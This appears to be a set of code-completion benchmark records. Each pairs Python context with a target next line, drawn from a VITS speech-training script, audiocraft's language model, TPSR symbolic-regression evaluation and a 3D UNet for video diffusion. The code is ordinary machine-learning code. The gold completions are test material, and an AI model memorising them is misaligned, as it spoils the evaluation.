logging.getLogger('numba').setLevel(logging.WARNING) torch.backends.cudnn.benchmark = True torch.backends.cuda.matmul.allow_tf32 = True torch.backends.cudnn.allow_tf32 = True torch.set_float32_matmul_precision('medium') global_step = 0 def main(): """Assume Single Node Multi GPUs Training Only""" assert torch.cuda.is_available(), "CPU training is not allowed." n_gpus = torch.cuda.device_count() os.environ['MASTER_ADDR'] = 'localhost' os.environ['MASTER_PORT'] = '65280' hps = utils.get_hparams() role='' for t in hps.data.spk2id.items(): role=t[0] if not hps.cont: folder_path = f"./logs/{role}" if not os.path.exists(folder_path): os.makedirs(folder_path) print(f"文件夹 '{role}' 已创建在 './logs/' 目录下。") else: print(f"文件夹 '{role}' 已经存在于 './logs/' 目录下。") shutil.copy('./pretrained_models/D_0.pth',f'./logs/{role}/D_0.pth') shutil.copy('./pretrained_models/G_0.pth',f'./logs/{role}/G_0.pth') shutil.copy('./pretrained_models/DUR_0.pth',f'./logs/{role}/DUR_0.pth') mp.spawn(run, nprocs=n_gpus, args=(n_gpus, hps, role)) def run(rank, n_gpus, hps, role): global global_step if rank == 0: logger = utils.get_logger(hps.model_dir) logger.info(hps) utils.check_git_hash(hps.model_dir) writer = SummaryWriter(log_dir=hps.model_dir) writer_eval = SummaryWriter(log_dir=os.path.join(hps.model_dir, "eval")) dist.init_process_group(backend= 'gloo' if os.name == 'nt' else 'nccl', init_method='env://', world_size=n_gpus, rank=rank) torch.manual_seed(hps.train.seed) torch.cuda.set_device(rank) train_dataset = TextAudioSpeakerLoader(hps.data.training_files, hps.data) train_sampler = DistributedBucketSampler( train_dataset, hps.train.batch_size, [32, 300, 400, 500, 600, 700, 800, 900, 1000], num_replicas=n_gpus, rank=rank, shuffle=True) collate_fn = TextAudioSpeakerCollate() train_loader = DataLoader(train_dataset, num_workers=2, shuffle=False, pin_memory=True, collate_fn=collate_fn, batch_sampler=train_sampler) if rank == 0: eval_dataset = TextAudioSpeakerLoader(hps.data.validation_files, hps.data) eval_loader = DataLoader(eval_dataset, num_workers=0, shuffle=False, batch_size=1, pin_memory=True, drop_last=False, collate_fn=collate_fn) if "use_noise_scaled_mas" in hps.model.keys() and hps.model.use_noise_scaled_mas == True: print("Using noise scaled MAS for VITS2") use_noise_scaled_mas = True mas_noise_scale_initial = 0.01 noise_scale_delta = 2e-6 else: print("Using normal MAS for VITS1") use_noise_scaled_mas = False mas_noise_scale_initial = 0.0 noise_scale_delta = 0.0 if "use_duration_discriminator" in hps.model.keys() and hps.model.use_duration_discriminator == True: print("Using duration discriminator for VITS2") use_duration_discriminator = True net_dur_disc = DurationDiscriminator( hps.model.hidden_channels, hps.model.hidden_channels, 3, 0.1, gin_channels=hps.model.gin_channels if hps.data.n_speakers != 0 else 0, ).cuda(rank) if "use_spk_conditioned_encoder" in hps.model.keys() and hps.model.use_spk_conditioned_encoder == True: if hps.data.n_speakers == 0: raise ValueError("n_speakers must be > 0 when using spk conditioned encoder to train multi-speaker model") use_spk_conditioned_encoder = True else: print("Using normal encoder for VITS1") use_spk_conditioned_encoder = False net_g = SynthesizerTrn( len(symbols), hps.data.filter_length // 2 + 1, hps.train.segment_size // hps.data.hop_length, n_speakers=hps.data.n_speakers, mas_noise_scale_initial = mas_noise_scale_initial, noise_scale_delta = noise_scale_delta, **hps.model).cuda(rank) freeze_enc = getattr(hps.model, "freeze_enc", False) if freeze_enc: print("freeze encoder !!!") for param in net_g.enc_p.parameters(): param.requires_grad = False net_d = MultiPeriodDiscriminator(hps.model.use_spectral_norm).cuda(rank) optim_g = torch.optim.AdamW( filter(lambda p: p.requires_grad, net_g.parameters()), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) optim_d = torch.optim.AdamW( net_d.parameters(), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) if net_dur_disc is not None: optim_dur_disc = torch.optim.AdamW( net_dur_disc.parameters(), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) else: optim_dur_disc = None net_g = DDP(net_g, device_ids=[rank], find_unused_parameters=True) net_d = DDP(net_d, device_ids=[rank], find_unused_parameters=True) if net_dur_disc is not None: net_dur_disc = DDP(net_dur_disc, device_ids=[rank], find_unused_parameters=True) pretrain_dir = None if pretrain_dir is None: try: if net_dur_disc is not None: _, optim_dur_disc, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "DUR_*.pth"), net_dur_disc, optim_dur_disc, skip_optimizer=not hps.cont) _, optim_g, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "G_*.pth"), net_g, optim_g, skip_optimizer=not hps.cont) _, optim_d, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "D_*.pth"), net_d, optim_d, skip_optimizer=not hps.cont) epoch_str = max(epoch_str, 1) global_step = (epoch_str - 1) * len(train_loader) except Exception as e: print(e) epoch_str = 1 global_step = 0 else: _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "G_*.pth"), net_g, optim_g, True) _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "D_*.pth"), net_d, optim_d, True) scheduler_g = torch.optim.lr_scheduler.ExponentialLR(optim_g, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2) scheduler_d = torch.optim.lr_scheduler.ExponentialLR(optim_d, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2) if net_dur_disc is not None: scheduler_dur_disc = torch.optim.lr_scheduler.ExponentialLR(optim_dur_disc, gamma=hps.train.lr_decay, last_epoch=epoch_str-2) else: scheduler_dur_disc = None scaler = GradScaler(enabled=hps.train.fp16_run) for epoch in range(epoch_str, hps.train.epochs + 1): if rank == 0: train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, eval_loader], logger, [writer, writer_eval],role=role) else: train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, None], None, None, role=role) scheduler_g.step() scheduler_d.step() if net_dur_disc is not None: scheduler_dur_disc.step() def train_and_evaluate(rank, epoch, hps, nets, optims, schedulers, scaler, loaders, logger, writers, role): net_g, net_d, net_dur_disc = nets optim_g, optim_d, optim_dur_disc = optims scheduler_g, scheduler_d, scheduler_dur_disc = schedulers train_loader, eval_loader = loaders if writers is not None: writer, writer_eval = writers train_loader.batch_sampler.set_epoch(epoch) global global_step net_g.train() net_d.train() if net_dur_disc is not None: net_dur_disc.train() for batch_idx, (x, x_lengths, spec, spec_lengths, y, y_lengths, speakers, tone, language, bert) in tqdm(enumerate(train_loader)): if net_g.module.use_noise_scaled_mas: current_mas_noise_scale = net_g.module.mas_noise_scale_initial - net_g.module.noise_scale_delta * global_step net_g.module.current_mas_noise_scale = max(current_mas_noise_scale, 0.0) x, x_lengths = x.cuda(rank, non_blocking=True), x_lengths.cuda(rank, non_blocking=True) spec, spec_lengths = spec.cuda(rank, non_blocking=True), spec_lengths.cuda(rank, non_blocking=True) y, y_lengths = y.cuda(rank, non_blocking=True), y_lengths.cuda(rank, non_blocking=True) speakers = speakers.cuda(rank, non_blocking=True) tone = tone.cuda(rank, non_blocking=True) language = language.cuda(rank, non_blocking=True) bert = bert.cuda(rank, non_blocking=True) with autocast(enabled=hps.train.fp16_run): y_hat, l_length, attn, ids_slice, x_mask, z_mask, \ (z, z_p, m_p, logs_p, m_q, logs_q), (hidden_x, logw, logw_) = net_g(x, x_lengths, spec, spec_lengths, speakers, tone, language, bert) mel = spec_to_mel_torch( spec, hps.data.filter_length, hps.data.n_mel_channels, hps.data.sampling_rate, hps.data.mel_fmin, hps.data.mel_fmax) y_mel = commons.slice_segments(mel, ids_slice, hps.train.segment_size // hps.data.hop_length) y_hat_mel = mel_spectrogram_torch( y_hat.squeeze(1), hps.data.filter_length, hps.data.n_mel_channels, hps.data.sampling_rate, hps.data.hop_length, hps.data.win_length, hps.data.mel_fmin, hps.data.mel_fmax ) y = commons.slice_segments(y, ids_slice * hps.data.hop_length, hps.train.segment_size) # slice # Discriminator y_d_hat_r, y_d_hat_g, _, _ = net_d(y, y_hat.detach()) with autocast(enabled=False):
loss_disc, losses_disc_r, losses_disc_g = discriminator_loss(y_d_hat_r, y_d_hat_g)
7
2023-10-10 02:23:23+00:00
12k
sakemin/cog-musicgen-chord
audiocraft/models/lm.py
[ { "identifier": "utils", "path": "audiocraft/utils/utils.py", "snippet": "def model_hash(model: torch.nn.Module) -> str:\ndef dict_from_config(cfg: omegaconf.DictConfig) -> dict:\ndef random_subset(dataset, max_samples: int, seed: int = 42) -> torch.utils.data.Subset:\ndef get_loader(dataset, num_sample...
from dataclasses import dataclass from functools import partial from torch import nn from ..utils import utils from ..modules.streaming import StreamingModule, State from ..modules.transformer import StreamingTransformer, create_norm_fn from ..modules.conditioners import ( ConditionFuser, ClassifierFreeGuidanceDropout, AttributeDropout, ConditioningProvider, ConditioningAttributes, ConditionType, ) from ..modules.codebooks_patterns import CodebooksPatternProvider from ..modules.activations import get_activation_fn import logging import math import typing as tp import torch
7,785
""" # Compute std std = 1 / math.sqrt(input_dim) # Rescale with depth if init_depth is not None: std = std / math.sqrt(2 * init_depth) if method == 'gaussian': return partial( torch.nn.init.trunc_normal_, mean=0.0, std=std, a=-3 * std, b=3 * std ) elif method == 'uniform': bound = math.sqrt(3) * std # ensure the standard deviation is `std` return partial(torch.nn.init.uniform_, a=-bound, b=bound) else: raise ValueError("Unsupported layer initialization method") def init_layer(m: nn.Module, method: str, init_depth: tp.Optional[int] = None, zero_bias_init: bool = False): """Wrapper around ``get_init_fn`` for proper initialization of LM modules. Args: m (nn.Module): Module to initialize. method (str): Method name for the init function. init_depth (int, optional): Optional init depth value used to rescale the standard deviation if defined. zero_bias_init (bool): Whether to initialize the bias to 0 or not. """ if isinstance(m, nn.Linear): init_fn = get_init_fn(method, m.in_features, init_depth=init_depth) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) if zero_bias_init and m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Embedding): init_fn = get_init_fn(method, m.embedding_dim, init_depth=None) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) class ScaledEmbedding(nn.Embedding): """Boost learning rate for embeddings (with `scale`). """ def __init__(self, *args, lr=None, **kwargs): super().__init__(*args, **kwargs) self.lr = lr def make_optim_group(self): group = {"params": list(self.parameters())} if self.lr is not None: group["lr"] = self.lr return group @dataclass class LMOutput: # The logits are already re-aligned with the input codes # hence no extra shift is required, e.g. when computing CE logits: torch.Tensor # [B, K, T, card] mask: torch.Tensor # [B, K, T] class LMModel(StreamingModule): """Transformer-based language model on multiple streams of codes. Args: pattern_provider (CodebooksPatternProvider): Pattern provider for codebook interleaving. condition_provider (MusicConditioningProvider): Conditioning provider from metadata. fuser (ConditionFuser): Fuser handling the fusing of conditions with language model input. n_q (int): Number of parallel streams to model. card (int): Cardinality, vocabulary size. dim (int): Dimension of the transformer encoder. num_heads (int): Number of heads for the transformer encoder. hidden_scale (int): Scale for hidden feed forward dimension of the transformer encoder. norm (str): Normalization method. norm_first (bool): Use pre-norm instead of post-norm. emb_lr (float, optional): Embedding-specific learning rate. bias_proj (bool): Use bias for output projections. weight_init (str, optional): Method for weight initialization. depthwise_init (str, optional): Method for depthwise weight initialization. zero_bias_init (bool): If true and bias in Linears, initialize bias to zeros. cfg_dropout (float): Classifier-free guidance dropout. cfg_coef (float): Classifier-free guidance coefficient. attribute_dropout (dict): Attribute dropout probabilities. two_step_cfg (bool): Whether to run classifier free-guidance with 2 distinct steps. **kwargs: Additional parameters for the transformer encoder. """ def __init__(self, pattern_provider: CodebooksPatternProvider, condition_provider: ConditioningProvider, fuser: ConditionFuser, n_q: int = 8, card: int = 1024, dim: int = 128, num_heads: int = 8, hidden_scale: int = 4, norm: str = 'layer_norm', norm_first: bool = False, emb_lr: tp.Optional[float] = None, bias_proj: bool = True, weight_init: tp.Optional[str] = None, depthwise_init: tp.Optional[str] = None, zero_bias_init: bool = False, cfg_dropout: float = 0, cfg_coef: float = 1.0, attribute_dropout: tp.Dict[str, tp.Dict[str, float]] = {}, two_step_cfg: bool = False, **kwargs): super().__init__() self.cfg_coef = cfg_coef self.cfg_dropout = ClassifierFreeGuidanceDropout(p=cfg_dropout) self.att_dropout = AttributeDropout(p=attribute_dropout) self.condition_provider = condition_provider self.fuser = fuser self.card = card embed_dim = self.card + 1 self.n_q = n_q self.dim = dim self.pattern_provider = pattern_provider self.two_step_cfg = two_step_cfg self.emb = nn.ModuleList([ScaledEmbedding(embed_dim, dim, lr=emb_lr) for _ in range(n_q)]) if 'activation' in kwargs:
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. logger = logging.getLogger(__name__) ConditionTensors = tp.Dict[str, ConditionType] CFGConditions = tp.Union[ConditionTensors, tp.Tuple[ConditionTensors, ConditionTensors]] def get_init_fn(method: str, input_dim: int, init_depth: tp.Optional[int] = None): """LM layer initialization. Inspired from xlformers: https://github.com/fairinternal/xlformers Args: method (str): Method name for init function. Valid options are: 'gaussian', 'uniform'. input_dim (int): Input dimension of the initialized module. init_depth (int, optional): Optional init depth value used to rescale the standard deviation if defined. """ # Compute std std = 1 / math.sqrt(input_dim) # Rescale with depth if init_depth is not None: std = std / math.sqrt(2 * init_depth) if method == 'gaussian': return partial( torch.nn.init.trunc_normal_, mean=0.0, std=std, a=-3 * std, b=3 * std ) elif method == 'uniform': bound = math.sqrt(3) * std # ensure the standard deviation is `std` return partial(torch.nn.init.uniform_, a=-bound, b=bound) else: raise ValueError("Unsupported layer initialization method") def init_layer(m: nn.Module, method: str, init_depth: tp.Optional[int] = None, zero_bias_init: bool = False): """Wrapper around ``get_init_fn`` for proper initialization of LM modules. Args: m (nn.Module): Module to initialize. method (str): Method name for the init function. init_depth (int, optional): Optional init depth value used to rescale the standard deviation if defined. zero_bias_init (bool): Whether to initialize the bias to 0 or not. """ if isinstance(m, nn.Linear): init_fn = get_init_fn(method, m.in_features, init_depth=init_depth) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) if zero_bias_init and m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Embedding): init_fn = get_init_fn(method, m.embedding_dim, init_depth=None) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) class ScaledEmbedding(nn.Embedding): """Boost learning rate for embeddings (with `scale`). """ def __init__(self, *args, lr=None, **kwargs): super().__init__(*args, **kwargs) self.lr = lr def make_optim_group(self): group = {"params": list(self.parameters())} if self.lr is not None: group["lr"] = self.lr return group @dataclass class LMOutput: # The logits are already re-aligned with the input codes # hence no extra shift is required, e.g. when computing CE logits: torch.Tensor # [B, K, T, card] mask: torch.Tensor # [B, K, T] class LMModel(StreamingModule): """Transformer-based language model on multiple streams of codes. Args: pattern_provider (CodebooksPatternProvider): Pattern provider for codebook interleaving. condition_provider (MusicConditioningProvider): Conditioning provider from metadata. fuser (ConditionFuser): Fuser handling the fusing of conditions with language model input. n_q (int): Number of parallel streams to model. card (int): Cardinality, vocabulary size. dim (int): Dimension of the transformer encoder. num_heads (int): Number of heads for the transformer encoder. hidden_scale (int): Scale for hidden feed forward dimension of the transformer encoder. norm (str): Normalization method. norm_first (bool): Use pre-norm instead of post-norm. emb_lr (float, optional): Embedding-specific learning rate. bias_proj (bool): Use bias for output projections. weight_init (str, optional): Method for weight initialization. depthwise_init (str, optional): Method for depthwise weight initialization. zero_bias_init (bool): If true and bias in Linears, initialize bias to zeros. cfg_dropout (float): Classifier-free guidance dropout. cfg_coef (float): Classifier-free guidance coefficient. attribute_dropout (dict): Attribute dropout probabilities. two_step_cfg (bool): Whether to run classifier free-guidance with 2 distinct steps. **kwargs: Additional parameters for the transformer encoder. """ def __init__(self, pattern_provider: CodebooksPatternProvider, condition_provider: ConditioningProvider, fuser: ConditionFuser, n_q: int = 8, card: int = 1024, dim: int = 128, num_heads: int = 8, hidden_scale: int = 4, norm: str = 'layer_norm', norm_first: bool = False, emb_lr: tp.Optional[float] = None, bias_proj: bool = True, weight_init: tp.Optional[str] = None, depthwise_init: tp.Optional[str] = None, zero_bias_init: bool = False, cfg_dropout: float = 0, cfg_coef: float = 1.0, attribute_dropout: tp.Dict[str, tp.Dict[str, float]] = {}, two_step_cfg: bool = False, **kwargs): super().__init__() self.cfg_coef = cfg_coef self.cfg_dropout = ClassifierFreeGuidanceDropout(p=cfg_dropout) self.att_dropout = AttributeDropout(p=attribute_dropout) self.condition_provider = condition_provider self.fuser = fuser self.card = card embed_dim = self.card + 1 self.n_q = n_q self.dim = dim self.pattern_provider = pattern_provider self.two_step_cfg = two_step_cfg self.emb = nn.ModuleList([ScaledEmbedding(embed_dim, dim, lr=emb_lr) for _ in range(n_q)]) if 'activation' in kwargs:
kwargs['activation'] = get_activation_fn(kwargs['activation'])
6
2023-10-09 09:52:24+00:00
12k
deep-symbolic-mathematics/TPSR
evaluate.py
[ { "identifier": "SymbolicTransformerRegressor", "path": "symbolicregression/model/sklearn_wrapper.py", "snippet": "class SymbolicTransformerRegressor(BaseEstimator):\n\n def __init__(self,\n model=None,\n max_input_points=10000,\n max_number_bags=-1,\n ...
import numpy as np import pandas as pd import os import symbolicregression.model.utils_wrapper as utils_wrapper import time import copy from collections import OrderedDict, defaultdict from symbolicregression.model.sklearn_wrapper import SymbolicTransformerRegressor , get_top_k_features from symbolicregression.model.model_wrapper import ModelWrapper from symbolicregression.metrics import compute_metrics from sklearn.model_selection import train_test_split from tpsr import tpsr_fit from tqdm import tqdm
8,579
target_noise=0.0, random_state=29910, verbose=False, save=True, filter_fn=None, logger=None, save_file=None, save_suffix="./eval_result/eval_pmlb_tpsr.csv", rescale = True ): scores = defaultdict(list) env = trainer.env params = params embedder = model.embedder encoder = model.encoder decoder = model.decoder embedder.eval() encoder.eval() decoder.eval() mw = ModelWrapper( env=env, embedder=embedder, encoder=encoder, decoder=decoder, beam_length_penalty=params.beam_length_penalty, beam_size=params.beam_size, max_generated_output_len=params.max_generated_output_len, beam_early_stopping=params.beam_early_stopping, beam_temperature=params.beam_temperature, beam_type=params.beam_type, ) dstr = SymbolicTransformerRegressor( model=mw, max_input_points=params.max_input_points, n_trees_to_refine=params.n_trees_to_refine, max_number_bags=params.max_number_bags, rescale=params.rescale, ) all_datasets = pd.read_csv( "./datasets/pmlb/pmlb/all_summary_stats.tsv", sep="\t", ) regression_datasets = all_datasets[all_datasets["task"] == "regression"] regression_datasets = regression_datasets[ regression_datasets["n_categorical_features"] == 0 ] problems = regression_datasets if filter_fn is not None: problems = problems[filter_fn(problems)] problems = problems.loc[problems['n_features']<11] problem_names = problems["dataset"].values.tolist() pmlb_path = "./datasets/pmlb/datasets/" # high_dim_datasets feynman_problems = pd.read_csv( "./datasets/feynman/FeynmanEquations.csv", delimiter=",", ) feynman_problems = feynman_problems[["Filename", "Formula"]].dropna().values feynman_formulas = {} for p in range(feynman_problems.shape[0]): feynman_formulas[ "feynman_" + feynman_problems[p][0].replace(".", "_") ] = feynman_problems[p][1] first_write = True if save: save_file = save_suffix rng = np.random.RandomState(random_state) pbar = tqdm(total=len(problem_names)) counter =0 for problem_name in problem_names: if problem_name in feynman_formulas: formula = feynman_formulas[problem_name] else: formula = "???" X, y, _ = read_file( pmlb_path + "{}/{}.tsv.gz".format(problem_name, problem_name) ) y = np.expand_dims(y, -1) x_to_fit, x_to_predict, y_to_fit, y_to_predict = train_test_split( X, y, test_size=0.25, shuffle=True, random_state=random_state ) scale = target_noise * np.sqrt(np.mean(np.square(y_to_fit))) noise = rng.normal(loc=0.0, scale=scale, size=y_to_fit.shape) y_to_fit += noise ## Scale X if not isinstance(X, list): X = [x_to_fit] Y = [y_to_fit] n_datasets = len(X) dstr.top_k_features = [None for _ in range(n_datasets)] for i in range(n_datasets): dstr.top_k_features[i] = get_top_k_features(X[i], Y[i], k=dstr.model.env.params.max_input_dimension) X[i] = X[i][:, dstr.top_k_features[i]] scaler = utils_wrapper.StandardScaler() if rescale else None scale_params = {} if scaler is not None: scaled_X = [] for i, x in enumerate(X): scaled_X.append(scaler.fit_transform(x)) scale_params[i]=scaler.get_params() else: scaled_X = X bag_number =1 done_bagging = False bagging_threshold = 0.99 max_r2_zero = 0 max_bags = min(11,len(scaled_X[0])//params.max_input_points+2) while done_bagging == False and bag_number<max_bags:
def read_file(filename, label="target", sep=None): if filename.endswith("gz"): compression = "gzip" else: compression = None if sep: input_data = pd.read_csv(filename, sep=sep, compression=compression) else: input_data = pd.read_csv( filename, sep=sep, compression=compression, engine="python" ) feature_names = [x for x in input_data.columns.values if x != label] feature_names = np.array(feature_names) X = input_data.drop(label, axis=1).values.astype(float) y = input_data[label].values assert X.shape[1] == feature_names.shape[0] return X, y, feature_names def evaluate_pmlb( trainer, params, model, target_noise=0.0, random_state=29910, verbose=False, save=True, filter_fn=None, logger=None, save_file=None, save_suffix="./eval_result/eval_pmlb_feynman_pretrained.csv", ): scores = defaultdict(list) env = trainer.env params = params embedder = model.embedder encoder = model.encoder decoder = model.decoder embedder.eval() encoder.eval() decoder.eval() mw = ModelWrapper( env=env, embedder=embedder, encoder=encoder, decoder=decoder, beam_length_penalty=params.beam_length_penalty, beam_size=params.beam_size, max_generated_output_len=params.max_generated_output_len, beam_early_stopping=params.beam_early_stopping, beam_temperature=params.beam_temperature, beam_type=params.beam_type, ) dstr = SymbolicTransformerRegressor( model=mw, max_input_points=params.max_input_points, n_trees_to_refine=params.n_trees_to_refine, max_number_bags=params.max_number_bags, rescale=params.rescale, ) all_datasets = pd.read_csv( "./datasets/pmlb/pmlb/all_summary_stats.tsv", sep="\t", ) regression_datasets = all_datasets[all_datasets["task"] == "regression"] regression_datasets = regression_datasets[ regression_datasets["n_categorical_features"] == 0 ] problems = regression_datasets if filter_fn is not None: problems = problems[filter_fn(problems)] problem_names = problems["dataset"].values.tolist() pmlb_path = "./datasets/pmlb/datasets/" feynman_problems = pd.read_csv( "./datasets/feynman/FeynmanEquations.csv", delimiter=",", ) feynman_problems = feynman_problems[["Filename", "Formula"]].dropna().values feynman_formulas = {} for p in range(feynman_problems.shape[0]): feynman_formulas[ "feynman_" + feynman_problems[p][0].replace(".", "_") ] = feynman_problems[p][1] first_write = True if save: save_file = save_suffix rng = np.random.RandomState(random_state) pbar = tqdm(total=len(problem_names)) for problem_name in problem_names: if problem_name in feynman_formulas: formula = feynman_formulas[problem_name] else: formula = "???" print("formula : ", formula) X, y, _ = read_file( pmlb_path + "{}/{}.tsv.gz".format(problem_name, problem_name) ) y = np.expand_dims(y, -1) x_to_fit, x_to_predict, y_to_fit, y_to_predict = train_test_split( X, y, test_size=0.25, shuffle=True, random_state=random_state ) scale = target_noise * np.sqrt(np.mean(np.square(y_to_fit))) noise = rng.normal(loc=0.0, scale=scale, size=y_to_fit.shape) y_to_fit += noise dstr.fit(x_to_fit, y_to_fit, verbose=verbose) problem_results = defaultdict(list) for refinement_type in dstr.retrieve_refinements_types(): best_gen = copy.deepcopy( dstr.retrieve_tree(refinement_type=refinement_type, with_infos=True) ) predicted_tree = best_gen["predicted_tree"] if predicted_tree is None: continue del best_gen["predicted_tree"] if "metrics" in best_gen: del best_gen["metrics"] problem_results["predicted_tree"].append(predicted_tree) problem_results["predicted_tree_prefix"].append( predicted_tree.prefix() if predicted_tree is not None else None ) for info, val in best_gen.items(): problem_results[info].append(val) y_tilde_to_fit = dstr.predict(x_to_fit, refinement_type=refinement_type) results_fit = compute_metrics( { "true": [y_to_fit], "predicted": [y_tilde_to_fit], "predicted_tree": [predicted_tree], }, metrics=params.validation_metrics, ) for k, v in results_fit.items(): problem_results[k + "_fit"].extend(v) scores[refinement_type + "|" + k + "_fit"].extend(v) y_tilde_to_predict = dstr.predict( x_to_predict, refinement_type=refinement_type ) results_predict = compute_metrics( { "true": [y_to_predict], "predicted": [y_tilde_to_predict], "predicted_tree": [predicted_tree], }, metrics=params.validation_metrics, ) for k, v in results_predict.items(): problem_results[k + "_predict"].extend(v) scores[refinement_type + "|" + k + "_predict"].extend(v) problem_results = pd.DataFrame.from_dict(problem_results) problem_results.insert(0, "problem", problem_name) problem_results.insert(0, "formula", formula) problem_results["input_dimension"] = x_to_fit.shape[1] if save: if first_write: problem_results.to_csv(save_file, index=False) first_write = False else: problem_results.to_csv( save_file, mode="a", header=False, index=False ) pbar.update(1) for k, v in scores.items(): scores[k] = np.nanmean(v) return scores def evaluate_pmlb_mcts( trainer, params, model, target_noise=0.0, random_state=29910, verbose=False, save=True, filter_fn=None, logger=None, save_file=None, save_suffix="./eval_result/eval_pmlb_tpsr.csv", rescale = True ): scores = defaultdict(list) env = trainer.env params = params embedder = model.embedder encoder = model.encoder decoder = model.decoder embedder.eval() encoder.eval() decoder.eval() mw = ModelWrapper( env=env, embedder=embedder, encoder=encoder, decoder=decoder, beam_length_penalty=params.beam_length_penalty, beam_size=params.beam_size, max_generated_output_len=params.max_generated_output_len, beam_early_stopping=params.beam_early_stopping, beam_temperature=params.beam_temperature, beam_type=params.beam_type, ) dstr = SymbolicTransformerRegressor( model=mw, max_input_points=params.max_input_points, n_trees_to_refine=params.n_trees_to_refine, max_number_bags=params.max_number_bags, rescale=params.rescale, ) all_datasets = pd.read_csv( "./datasets/pmlb/pmlb/all_summary_stats.tsv", sep="\t", ) regression_datasets = all_datasets[all_datasets["task"] == "regression"] regression_datasets = regression_datasets[ regression_datasets["n_categorical_features"] == 0 ] problems = regression_datasets if filter_fn is not None: problems = problems[filter_fn(problems)] problems = problems.loc[problems['n_features']<11] problem_names = problems["dataset"].values.tolist() pmlb_path = "./datasets/pmlb/datasets/" # high_dim_datasets feynman_problems = pd.read_csv( "./datasets/feynman/FeynmanEquations.csv", delimiter=",", ) feynman_problems = feynman_problems[["Filename", "Formula"]].dropna().values feynman_formulas = {} for p in range(feynman_problems.shape[0]): feynman_formulas[ "feynman_" + feynman_problems[p][0].replace(".", "_") ] = feynman_problems[p][1] first_write = True if save: save_file = save_suffix rng = np.random.RandomState(random_state) pbar = tqdm(total=len(problem_names)) counter =0 for problem_name in problem_names: if problem_name in feynman_formulas: formula = feynman_formulas[problem_name] else: formula = "???" X, y, _ = read_file( pmlb_path + "{}/{}.tsv.gz".format(problem_name, problem_name) ) y = np.expand_dims(y, -1) x_to_fit, x_to_predict, y_to_fit, y_to_predict = train_test_split( X, y, test_size=0.25, shuffle=True, random_state=random_state ) scale = target_noise * np.sqrt(np.mean(np.square(y_to_fit))) noise = rng.normal(loc=0.0, scale=scale, size=y_to_fit.shape) y_to_fit += noise ## Scale X if not isinstance(X, list): X = [x_to_fit] Y = [y_to_fit] n_datasets = len(X) dstr.top_k_features = [None for _ in range(n_datasets)] for i in range(n_datasets): dstr.top_k_features[i] = get_top_k_features(X[i], Y[i], k=dstr.model.env.params.max_input_dimension) X[i] = X[i][:, dstr.top_k_features[i]] scaler = utils_wrapper.StandardScaler() if rescale else None scale_params = {} if scaler is not None: scaled_X = [] for i, x in enumerate(X): scaled_X.append(scaler.fit_transform(x)) scale_params[i]=scaler.get_params() else: scaled_X = X bag_number =1 done_bagging = False bagging_threshold = 0.99 max_r2_zero = 0 max_bags = min(11,len(scaled_X[0])//params.max_input_points+2) while done_bagging == False and bag_number<max_bags:
s, time_elapsed, sample_times = tpsr_fit(scaled_X, Y, params,env , bag_number)
4
2023-10-09 15:54:58+00:00
12k
zhijie-group/LOVECon
video_diffusion/models/unet_3d_condition.py
[ { "identifier": "CrossAttnDownBlockPseudo3D", "path": "video_diffusion/models/unet_3d_blocks.py", "snippet": "class CrossAttnDownBlockPseudo3D(nn.Module):\n def __init__(\n self,\n in_channels: int,\n out_channels: int,\n temb_channels: int,\n dropout: float = 0.0,\...
import os import glob import json import copy import torch import torch.nn as nn import torch.utils.checkpoint from dataclasses import dataclass from typing import List, Optional, Tuple, Union from diffusers.configuration_utils import ConfigMixin, register_to_config from diffusers.modeling_utils import ModelMixin from diffusers.utils import BaseOutput, logging from diffusers.models.embeddings import TimestepEmbedding, Timesteps from .unet_3d_blocks import ( CrossAttnDownBlockPseudo3D, CrossAttnUpBlockPseudo3D, DownBlockPseudo3D, UNetMidBlockPseudo3DCrossAttn, UpBlockPseudo3D, get_down_block, get_up_block, ) from .resnet import PseudoConv3d
8,404
is_final_block = i == len(block_out_channels) - 1 prev_output_channel = output_channel output_channel = reversed_block_out_channels[i] input_channel = reversed_block_out_channels[min(i + 1, len(block_out_channels) - 1)] # add upsample block for all BUT final layer if not is_final_block: add_upsample = True self.num_upsamplers += 1 else: add_upsample = False kwargs_copy=copy.deepcopy(kwargs) kwargs_copy.update({'temporal_downsample': i < (self.temporal_downsample_time-1)}) if i < (self.temporal_downsample_time-1): print(f'Initialize model temporal updample at layer {i}') up_block = get_up_block( up_block_type, num_layers=layers_per_block + 1, in_channels=input_channel, out_channels=output_channel, prev_output_channel=prev_output_channel, temb_channels=time_embed_dim, add_upsample=add_upsample, resnet_eps=norm_eps, resnet_act_fn=act_fn, resnet_groups=norm_num_groups, cross_attention_dim=cross_attention_dim, attn_num_head_channels=reversed_attention_head_dim[i], dual_cross_attention=dual_cross_attention, 